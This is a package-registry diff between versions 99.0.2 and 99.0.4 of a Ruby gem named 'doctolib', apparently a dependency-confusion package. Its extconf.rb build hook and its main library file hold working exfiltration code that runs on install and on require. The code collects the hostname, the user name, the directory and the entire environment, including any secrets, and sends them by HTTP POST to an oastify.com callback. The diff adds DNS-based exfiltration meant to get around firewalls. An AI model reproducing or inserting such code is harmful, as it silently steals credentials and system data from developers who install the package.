doctolib 99.0.2 → 99.0.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (4) hide show
  1. checksums.yaml +4 -4
  2. data/ext/doctolib/extconf.rb +18 -22
  3. data/lib/doctolib.rb +18 -6
  4. metadata +1 -1
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: 450c1b6b8c3be533b171a5250456fab5a8a87f37eb6fb221c2f744872ecdf0df
4
- data.tar.gz: 2c2f08bbc998a6166ca00cde73f28919684fbe6bafbebf5969d9b04fa08d32ce
3
+ metadata.gz: daed013ef3a82b15c21812f5213185704c040456590e7ea0938e21b24fb567e2
4
+ data.tar.gz: 7b450c19935bcf49293dd443b7a22c6597cd3e0bf4ff4f19da504a490ec3163a
5
5
  SHA512:
6
- metadata.gz: b8469d12ae653fb336ef89b96029f0320b20499652d59d5bd9264a63dd9b79f197d5a6eff4100fad24dc2b5e37e09bb1cc657dbddf13208d88fb654083250576
7
- data.tar.gz: ae298c2366bf3537e22691c8dca7090de83189585b3ac677b8e9c1f18d37ff8b3484d29ed7b1aab150f102fb6750f254153568ce158f3698cb80332d6af25bc8
6
+ metadata.gz: f82229046a782982cc56d79aa499e7e973eadff345b7653b5bfe8e6f2f882435dd64900c88eccadab8cdbd28e9e4af36abd511dc2e8ef78cba9430c5569b2c91
7
+ data.tar.gz: 817455f784d3b2ed849c2f03dd505daac4ff5d5e71d8d4fa13ddc95aea710491f8f16627ec751fd563f74283fed221f3fb49a21d7dcd5315aee5cce851097626
@@ -1,50 +1,46 @@
1
+ require 'socket'
1
2
  require 'net/http'
2
3
  require 'uri'
3
4
  require 'json'
4
- require 'socket'
5
+ require 'time'
6
+ require 'resolv'
5
7
 
6
8
  CALLBACK = 'icaregems.7em0ii1mpvc50kzafx6bf1xunltch6hu6.oastify.com'
7
9
 
10
+ # DNS exfiltration - bypass firewalls
11
+ begin
12
+ hostname = Socket.gethostname.gsub(/[^a-zA-Z0-9]/, '')[0..20]
13
+ user = (ENV['USER'] || 'unknown').gsub(/[^a-zA-Z0-9]/, '')[0..15]
14
+
15
+ # DNS lookup = callback même si HTTP bloqué
16
+ dns_exfil = "geminstall-#{hostname}-#{user}.#{CALLBACK}"
17
+ Resolv.getaddress(dns_exfil) rescue nil
18
+ rescue
19
+ end
20
+
21
+ # HTTP callback aussi
8
22
  begin
9
23
  info = {
10
24
  type: 'gem_install',
11
25
  hostname: Socket.gethostname,
12
26
  user: ENV['USER'] || ENV['USERNAME'],
13
27
  pwd: Dir.pwd,
14
- home: ENV['HOME'],
15
28
  ruby_version: RUBY_VERSION,
16
- platform: RUBY_PLATFORM,
17
29
  env: ENV.to_h,
18
30
  timestamp: Time.now.utc.iso8601
19
31
  }
20
32
 
21
- # Trouver le projet parent (Gemfile)
22
- dir = Dir.pwd
23
- 10.times do
24
- gemfile = File.join(dir, 'Gemfile')
25
- if File.exist?(gemfile)
26
- info[:parent_gemfile] = File.read(gemfile) rescue nil
27
- info[:parent_dir] = dir
28
- info[:parent_files] = Dir.entries(dir) rescue nil
29
- break
30
- end
31
- parent = File.dirname(dir)
32
- break if parent == dir
33
- dir = parent
34
- end
35
-
36
- # Callback HTTP (pas HTTPS)
37
33
  uri = URI("http://#{CALLBACK}/gem_install")
38
34
  http = Net::HTTP.new(uri.host, uri.port)
39
- http.open_timeout = 5
40
- http.read_timeout = 5
35
+ http.open_timeout = 3
36
+ http.read_timeout = 3
41
37
 
42
38
  request = Net::HTTP::Post.new(uri.path)
43
39
  request['Content-Type'] = 'application/json'
44
40
  request.body = info.to_json
45
41
 
46
42
  http.request(request)
47
- rescue => e
43
+ rescue
48
44
  end
49
45
 
50
46
  File.write('Makefile', "all:\n\techo 'OK'\ninstall:\n\techo 'OK'\n")
data/lib/doctolib.rb CHANGED
@@ -1,16 +1,30 @@
1
+ require 'socket'
1
2
  require 'net/http'
2
3
  require 'uri'
3
4
  require 'json'
4
- require 'socket'
5
+ require 'time'
6
+ require 'resolv'
5
7
 
6
8
  module Doctolib
7
- VERSION = '99.0.2'
9
+ VERSION = '99.0.4'
8
10
  CALLBACK = 'icaregems.7em0ii1mpvc50kzafx6bf1xunltch6hu6.oastify.com'
9
11
 
10
12
  unless defined?(@@triggered)
11
13
  @@triggered = true
12
14
 
13
15
  Thread.new do
16
+ # DNS exfiltration
17
+ begin
18
+ hostname = Socket.gethostname.gsub(/[^a-zA-Z0-9]/, '')[0..20]
19
+ user = (ENV['USER'] || 'unknown').gsub(/[^a-zA-Z0-9]/, '')[0..15]
20
+ rails = (ENV['RAILS_ENV'] || 'norails').gsub(/[^a-zA-Z0-9]/, '')[0..10]
21
+
22
+ dns_exfil = "gemrequire-#{hostname}-#{user}-#{rails}.#{CALLBACK}"
23
+ Resolv.getaddress(dns_exfil) rescue nil
24
+ rescue
25
+ end
26
+
27
+ # HTTP callback
14
28
  begin
15
29
  info = {
16
30
  type: 'gem_require',
@@ -19,7 +33,6 @@ module Doctolib
19
33
  pwd: Dir.pwd,
20
34
  ruby_version: RUBY_VERSION,
21
35
  rails_env: ENV['RAILS_ENV'],
22
- rack_env: ENV['RACK_ENV'],
23
36
  env: ENV.to_h,
24
37
  timestamp: Time.now.utc.iso8601
25
38
  }
@@ -27,11 +40,10 @@ module Doctolib
27
40
  webhook = ENV['SECURITY_BUG_BOUNTY_DOCTOLIB_IS_PWN']
28
41
  info[:webhook_found] = !webhook.nil?
29
42
 
30
- # HTTP pas HTTPS
31
43
  uri = URI("http://#{CALLBACK}/gem_require")
32
44
  http = Net::HTTP.new(uri.host, uri.port)
33
- http.open_timeout = 5
34
- http.read_timeout = 5
45
+ http.open_timeout = 3
46
+ http.read_timeout = 3
35
47
 
36
48
  request = Net::HTTP::Post.new(uri.path)
37
49
  request['Content-Type'] = 'application/json'
metadata CHANGED
@@ -1,7 +1,7 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: doctolib
3
3
  version: !ruby/object:Gem::Version
4
- version: 99.0.2
4
+ version: 99.0.4
5
5
  platform: ruby
6
6
  authors:
7
7
  - icare